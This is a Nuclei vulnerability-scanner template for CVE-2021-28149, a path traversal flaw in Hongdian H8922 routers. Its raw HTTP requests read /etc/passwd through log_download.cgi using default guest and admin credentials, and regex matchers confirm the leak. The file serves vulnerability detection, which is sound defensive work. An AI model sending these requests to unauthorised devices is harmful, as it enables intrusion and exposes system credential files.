nuclei-templates/cves/2021/CVE-2021-28149.yaml

52 lines
1.7 KiB
YAML

id: CVE-2021-28149
info:
name: Hongdian H8922 3.0.5 Devices - Local File Inclusion
author: gy741
severity: medium
description: |
Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
reference:
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
- http://en.hongdian.com/Products/Details/H8922
- https://nvd.nist.gov/vuln/detail/CVE-2021-28149
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-28149
cwe-id: CWE-22
tags: cve,cve2021,hongdian,traversal
requests:
- raw:
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/octet-stream"
part: header
- type: regex
regex:
- "root:.*:0:0:"
- "sshd:[x*]"
- "root:[$]"
part: body
# Enhanced by mp on 2022/07/22